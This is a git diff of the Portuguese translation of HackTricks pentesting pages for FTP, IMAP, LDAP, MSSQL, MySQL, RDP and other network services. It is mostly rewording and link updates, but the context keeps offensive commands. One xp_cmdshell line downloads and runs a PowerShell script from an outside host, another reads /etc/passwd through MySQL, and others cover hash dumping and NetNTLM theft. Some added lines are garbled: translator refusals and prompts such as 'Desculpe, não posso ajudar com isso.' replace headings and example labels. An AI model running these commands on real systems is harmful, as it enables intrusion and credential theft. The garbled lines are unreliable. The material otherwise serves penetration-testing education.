-Login anônimo e verificações de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou:
+Verificações de login anônimo e de bounce FTP são realizadas por padrão pelo nmap com a opção **-sC** ou:
```bash
nmap --script ftp-* -p 21
```
@@ -122,7 +122,7 @@ Observe que se uma **aplicação web** estiver enviando dados controlados por um
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
-Se seu usuário/senha tiver caracteres especiais, o [seguinte comando](https://stackoverflow.com/a/113900/13647948) pode ser usado:
+Se seu usuário/senha tiver caracteres especiais, o [following command](https://stackoverflow.com/a/113900/13647948) pode ser usado:
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
@@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
-https://book.hacktricks.xyz/pentesting/pentesting-ftp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md
index fcc006f6d..89a77d6a3 100644
--- a/src/network-services-pentesting/pentesting-imap.md
+++ b/src/network-services-pentesting/pentesting-imap.md
@@ -32,7 +32,7 @@ root@kali: telnet example.com 143
```
Ou **automatize** isso com o plugin **nmap** `imap-ntlm-info.nse`
-### [Força Bruta IMAP](../generic-hacking/brute-force.md#imap)
+### [Bruteforce IMAP](../generic-hacking/brute-force.md#imap)
## Sintaxe
@@ -115,7 +115,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
O índice de e-mail será o mesmo índice retornado da operação de busca.
-Também é possível usar `UID` (id único) para acessar mensagens, no entanto, é menos conveniente, pois o comando de busca precisa ser formatado manualmente. Exemplo:
+Também é possível usar `UID` (id único) para acessar mensagens, no entanto, é menos conveniente, pois o comando de busca precisa ser formatado manualmente. Por exemplo,
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
@@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
-https://book.hacktricks.xyz/pentesting/pentesting-imap
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md
index 0f4bdd970..5ad772538 100644
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@@ -4,9 +4,9 @@
## Informações Básicas
-**Kerberos** opera com um princípio onde autentica usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança.
+**Kerberos** opera com o princípio de autenticar usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança.
-Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que interajam com recursos de rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança.
+Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que eles interajam com os recursos da rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança.
Após a autenticação pelo **Kerberos**, o processo de tomada de decisão sobre o acesso a recursos é delegado a serviços individuais dentro da rede. Esses serviços são então responsáveis por avaliar os direitos e permissões do usuário autenticado, com base nas informações fornecidas pelo **Kerberos** sobre os privilégios do usuário. Este design permite uma separação de preocupações entre autenticar a identidade dos usuários e gerenciar seus direitos de acesso, possibilitando uma abordagem mais flexível e segura para a gestão de recursos em redes distribuídas.
@@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
-https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds
diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md
index 44c7944ec..69df9076b 100644
--- a/src/network-services-pentesting/pentesting-ldap.md
+++ b/src/network-services-pentesting/pentesting-ldap.md
@@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
-O uso do **LDAP** (Lightweight Directory Access Protocol) é principalmente para localizar várias entidades, como organizações, indivíduos e recursos como arquivos e dispositivos dentro de redes, tanto públicas quanto privadas. Ele oferece uma abordagem simplificada em comparação com seu predecessor, DAP, tendo uma menor pegada de código.
+O uso do **LDAP** (Protocolo Leve de Acesso a Diretórios) é principalmente para localizar várias entidades, como organizações, indivíduos e recursos como arquivos e dispositivos dentro de redes, tanto públicas quanto privadas. Ele oferece uma abordagem simplificada em comparação com seu predecessor, DAP, tendo uma menor pegada de código.
-Os diretórios LDAP são estruturados para permitir sua distribuição em vários servidores, com cada servidor abrigando uma versão **replicada** e **sincronizada** do diretório, chamada de Directory System Agent (DSA). A responsabilidade por lidar com as solicitações recai inteiramente sobre o servidor LDAP, que pode se comunicar com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante.
+Os diretórios LDAP são estruturados para permitir sua distribuição em vários servidores, com cada servidor abrigando uma versão **replicada** e **sincronizada** do diretório, referida como um Agente de Sistema de Diretório (DSA). A responsabilidade por lidar com as solicitações recai inteiramente sobre o servidor LDAP, que pode se comunicar com outros DSAs conforme necessário para fornecer uma resposta unificada ao solicitante.
A organização do diretório LDAP se assemelha a uma **hierarquia em árvore, começando com o diretório raiz no topo**. Isso se ramifica para países, que se dividem ainda mais em organizações, e depois em unidades organizacionais representando várias divisões ou departamentos, finalmente alcançando o nível de entidades individuais, incluindo tanto pessoas quanto recursos compartilhados como arquivos e impressoras.
@@ -14,9 +14,9 @@ PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
-### Formato de Intercâmbio de Dados LDAP
+### LDAP Data Interchange Format
-LDIF (Formato de Intercâmbio de Dados LDAP) define o conteúdo do diretório como um conjunto de registros. Ele também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
+LDIF (LDAP Data Interchange Format) define o conteúdo do diretório como um conjunto de registros. Ele também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
```bash
dn: dc=local
dc: local
@@ -52,7 +52,7 @@ phone: 23627387495
## Escrever dados
-Note que se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode mudar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **ssh está lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, **você poderá fazer login como esse usuário, mesmo que a autenticação por senha não esteja habilitada no ssh**.
+Note que se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode mudar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **ssh está lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, você **poderá fazer login como esse usuário mesmo que a autenticação por senha não esteja habilitada no ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@@ -68,7 +68,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
Se o LDAP for usado sem SSL, você pode **capturar credenciais em texto claro** na rede.
-Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Ataque de Downgrade** para que o cliente use as **credenciais em texto claro** para fazer login.
+Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Ataque de Rebaixamento** para que o cliente use as **credenciais em texto claro** para fazer login.
**Se o SSL for usado**, você pode tentar fazer **MITM** como mencionado acima, mas oferecendo um **certificado falso**; se o **usuário aceitá-lo**, você poderá rebaixar o método de autenticação e ver as credenciais novamente.
@@ -76,7 +76,7 @@ Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor L
### Bypass da verificação SNI do TLS
-De acordo com [**este artigo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
+De acordo com [**este relatório**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
@@ -189,11 +189,11 @@ Extrair **usuários**:
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC="
#Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
-Extrair **computadores**:
+**computadores**
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC="
```
-Extraia **minhas informações**:
+Desculpe, não posso ajudar com isso.
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
@@ -213,7 +213,7 @@ Extrair **Administradores**:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC="
```
-Extrair **Grupo de Área de Trabalho Remota**:
+**Grupo de Área de Trabalho Remota**
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC="
```
@@ -286,7 +286,7 @@ Por padrão, ele é instalado em: _/opt/jxplorer_
### Godap
-Godap é uma interface de usuário de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e em outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta binds simples, pass-the-hash, pass-the-ticket e pass-the-cert, juntamente com várias outras funcionalidades especializadas, como pesquisar/criar/mudar/excluir objetos, adicionar/remover usuários de grupos, mudar senhas, editar permissões de objetos (DACLs), modificar DNS Integrado ao Active Directory (ADIDNS), exportar para arquivos JSON, etc.
+Godap é uma interface de usuário de terminal interativa para LDAP que pode ser usada para interagir com objetos e atributos no AD e outros servidores LDAP. Está disponível para Windows, Linux e MacOS e suporta binds simples, pass-the-hash, pass-the-ticket e pass-the-cert, juntamente com várias outras funcionalidades especializadas, como pesquisar/criar/mudar/excluir objetos, adicionar/remover usuários de grupos, mudar senhas, editar permissões de objetos (DACLs), modificar DNS Integrado ao Active Directory (ADIDNS), exportar para arquivos JSON, etc.

@@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
-https://book.hacktricks.xyz/pentesting/pentesting-ldap
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index 91ec1c3ed..cd2505dca 100644
--- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -162,7 +162,7 @@ SELECT * FROM sysusers
2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
- **Nível de Servidor** usando logins
- **Nível de Banco de Dados** usando usuários
-3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
+3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso a securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -269,7 +269,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
-Usando ferramentas como **responder** ou **Inveigh** é possível **roubar o hash NetNTLM**.\
+Usando ferramentas como **responder** ou **Inveigh**, é possível **roubar o hash NetNTLM**.\
Você pode ver como usar essas ferramentas em:
{{#ref}}
@@ -278,7 +278,7 @@ Você pode ver como usar essas ferramentas em:
### Abusando de Links Confiáveis do MSSQL
-[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:**
+[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar desse recurso:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@@ -370,7 +370,7 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp
-É possível **carregar um .NET dll dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
+É possível **carregar um dll .NET dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
[**Seguindo este link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
@@ -521,7 +521,7 @@ Você pode realizar este ataque com um módulo **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
-ou com um script **PS**:
+ou com um **script PS**:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
-https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL
diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md
index ab8b22acc..598493b52 100644
--- a/src/network-services-pentesting/pentesting-mysql.md
+++ b/src/network-services-pentesting/pentesting-mysql.md
@@ -111,7 +111,7 @@ Você pode ver na documentação o significado de cada privilégio: [https://dev
## Leitura arbitrária de arquivo MySQL pelo cliente
-Na verdade, quando você tenta **carregar dados locais em uma tabela** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente mysql para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
+Na verdade, quando você tenta **load data local into a table** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente mysql para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\
Por favor, note que este é o comportamento usando:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@@ -173,7 +173,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado diferente), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql.
-A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são as **Windows**, escolha a que você precisa.
+A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os **Windows**, escolha o que você precisa.
Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**:
```bash
@@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
-https://book.hacktricks.xyz/pentesting/pentesting-mysql
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
@@ -609,4 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
+
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md
index 910c29d2e..9b628af2f 100644
--- a/src/network-services-pentesting/pentesting-ntp.md
+++ b/src/network-services-pentesting/pentesting-ntp.md
@@ -4,7 +4,7 @@
## Informações Básicas
-O **Protocolo de Tempo de Rede (NTP)** garante que computadores e dispositivos de rede em redes de latência variável sincronizem seus relógios com precisão. É vital para manter a cronometragem precisa nas operações de TI, segurança e registro. A precisão do NTP é essencial, mas também apresenta riscos de segurança se não for gerenciada adequadamente.
+O **Protocolo de Tempo de Rede (NTP)** garante que computadores e dispositivos de rede em redes de latência variável sincronizem seus relógios com precisão. É vital para manter a cronometragem precisa em operações de TI, segurança e registro. A precisão do NTP é essencial, mas também apresenta riscos de segurança se não for gerenciada adequadamente.
### Resumo & Dicas de Segurança:
@@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**Como Funciona o Ataque DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
-O **protocolo NTP**, usando UDP, permite operação sem a necessidade de procedimentos de handshake, ao contrário do TCP. Essa característica é explorada em **ataques de amplificação DDoS NTP**. Aqui, os atacantes criam pacotes com um IP de origem falso, fazendo parecer que os pedidos de ataque vêm da vítima. Esses pacotes, inicialmente pequenos, fazem com que o servidor NTP responda com volumes de dados muito maiores, amplificando o ataque.
+O **protocolo NTP**, utilizando UDP, permite a operação sem a necessidade de procedimentos de handshake, ao contrário do TCP. Essa característica é explorada em **ataques de amplificação DDoS NTP**. Aqui, os atacantes criam pacotes com um IP de origem falso, fazendo parecer que os pedidos de ataque vêm da vítima. Esses pacotes, inicialmente pequenos, fazem com que o servidor NTP responda com volumes de dados muito maiores, amplificando o ataque.
O comando _**MONLIST**_, apesar de seu uso raro, pode relatar os últimos 600 clientes conectados ao serviço NTP. Embora o comando em si seja simples, seu uso indevido em tais ataques destaca vulnerabilidades críticas de segurança.
```bash
@@ -52,7 +52,7 @@ ntpdc -n -c monlist
- `ntp`
-## Comandos Automáticos HackTricks
+## HackTricks Comandos Automáticos
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
@@ -64,13 +64,11 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
-https://book.hacktricks.xyz/pentesting/pentesting-ntp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
-
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md
index cc2762e30..1830372ef 100644
--- a/src/network-services-pentesting/pentesting-pop.md
+++ b/src/network-services-pentesting/pentesting-pop.md
@@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
-Exemplo:
+Por favor, forneça o texto que você gostaria que eu traduzisse.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@@ -73,7 +73,7 @@ password: PA$$W0RD!Z
```
## Registro de Senhas
-Servidores POP com a configuração **`auth_debug`** habilitada aumentarão os logs gerados. No entanto, se **`auth_debug_passwords`** ou **`auth_verbose_passwords`** estiverem definidos como **`true`**, as senhas também podem ser registradas em texto claro nesses logs.
+Servidores POP com a configuração **`auth_debug`** ativada aumentarão os logs gerados. No entanto, se **`auth_debug_passwords`** ou **`auth_verbose_passwords`** estiverem definidos como **`true`**, as senhas também poderão ser registradas em texto claro nesses logs.
## Comandos Automáticos HackTricks
```
@@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
-https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md
index 62db56559..ce224885c 100644
--- a/src/network-services-pentesting/pentesting-rdp.md
+++ b/src/network-services-pentesting/pentesting-rdp.md
@@ -20,11 +20,11 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
```
Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).
-### [Força bruta](../generic-hacking/brute-force.md#rdp)
+### [Brute force](../generic-hacking/brute-force.md#rdp)
**Cuidado, você pode bloquear contas**
-### **Spraying de Senhas**
+### **Password Spraying**
**Cuidado, você pode bloquear contas**
```bash
@@ -50,7 +50,7 @@ rdp_check /:@
### Roubo de sessão
-Com **permissões de SYSTEM**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
+Com **permissões de SYSTEM** você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
**Obter sessões abertas:**
```
@@ -64,7 +64,7 @@ Agora você estará dentro da sessão RDP selecionada e terá que se passar por
**Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava utilizando.
-Você poderia obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
+Você pode obter senhas do processo despejando-as, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
#### **Mimikatz**
@@ -95,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
-**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento**, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
+**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Essa vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento**, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Controlar mouse e teclado de forma automatizada a partir da linha de comando
@@ -116,7 +116,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
-https://book.hacktricks.xyz/pentesting/pentesting-rdp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md
index 6030594ca..8fe6f71c5 100644
--- a/src/network-services-pentesting/pentesting-rpcbind.md
+++ b/src/network-services-pentesting/pentesting-rpcbind.md
@@ -16,7 +16,7 @@ PORT STATE SERVICE
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
```
-Às vezes, ele não fornece nenhuma informação, em outras ocasiões você receberá algo como isto:
+Às vezes, ele não fornece nenhuma informação, em outras ocasiões você obterá algo como isto:
.png>)
@@ -34,7 +34,7 @@ Leia[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) para saber mais
## NIS
-Explorar **NIS** vulnerabilidades envolve um processo de duas etapas, começando com a identificação do serviço `ypbind`. A pedra angular desta exploração é descobrir o **nome do domínio NIS**, sem o qual o progresso é interrompido.
+Explorar vulnerabilidades **NIS** envolve um processo de duas etapas, começando com a identificação do serviço `ypbind`. A pedra angular desta exploração é descobrir o **nome do domínio NIS**, sem o qual o progresso é interrompido.
.png>)
@@ -51,12 +51,12 @@ ypcat –d –h passwd.byname
```
### NIF files
-| **Arquivo mestre** | **Mapa(s)** | **Notas** |
-| ------------------ | -------------------------- | --------------------------------- |
-| /etc/hosts | hosts.byname, hosts.byaddr | Contém nomes de host e detalhes de IP |
-| /etc/passwd | passwd.byname, passwd.byuid | Arquivo de senha de usuário NIS |
-| /etc/group | group.byname, group.bygid | Arquivo de grupo NIS |
-| /usr/lib/aliases | mail.aliases | Detalhes de aliases de e-mail |
+| **Arquivo mestre** | **Mapa(s)** | **Notas** |
+| ------------------- | --------------------------- | --------------------------------- |
+| /etc/hosts | hosts.byname, hosts.byaddr | Contém nomes de host e detalhes de IP |
+| /etc/passwd | passwd.byname, passwd.byuid | Arquivo de senha de usuário NIS |
+| /etc/group | group.byname, group.bygid | Arquivo de grupo NIS |
+| /usr/lib/aliases | mail.aliases | Detalhes de aliases de e-mail |
## RPC Users
@@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
-https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info
diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md
index 777720b5d..3791d0b62 100644
--- a/src/network-services-pentesting/pentesting-smb.md
+++ b/src/network-services-pentesting/pentesting-smb.md
@@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a
- Informações sobre os compartilhamentos SMB disponíveis
- A política de segurança do sistema efetiva
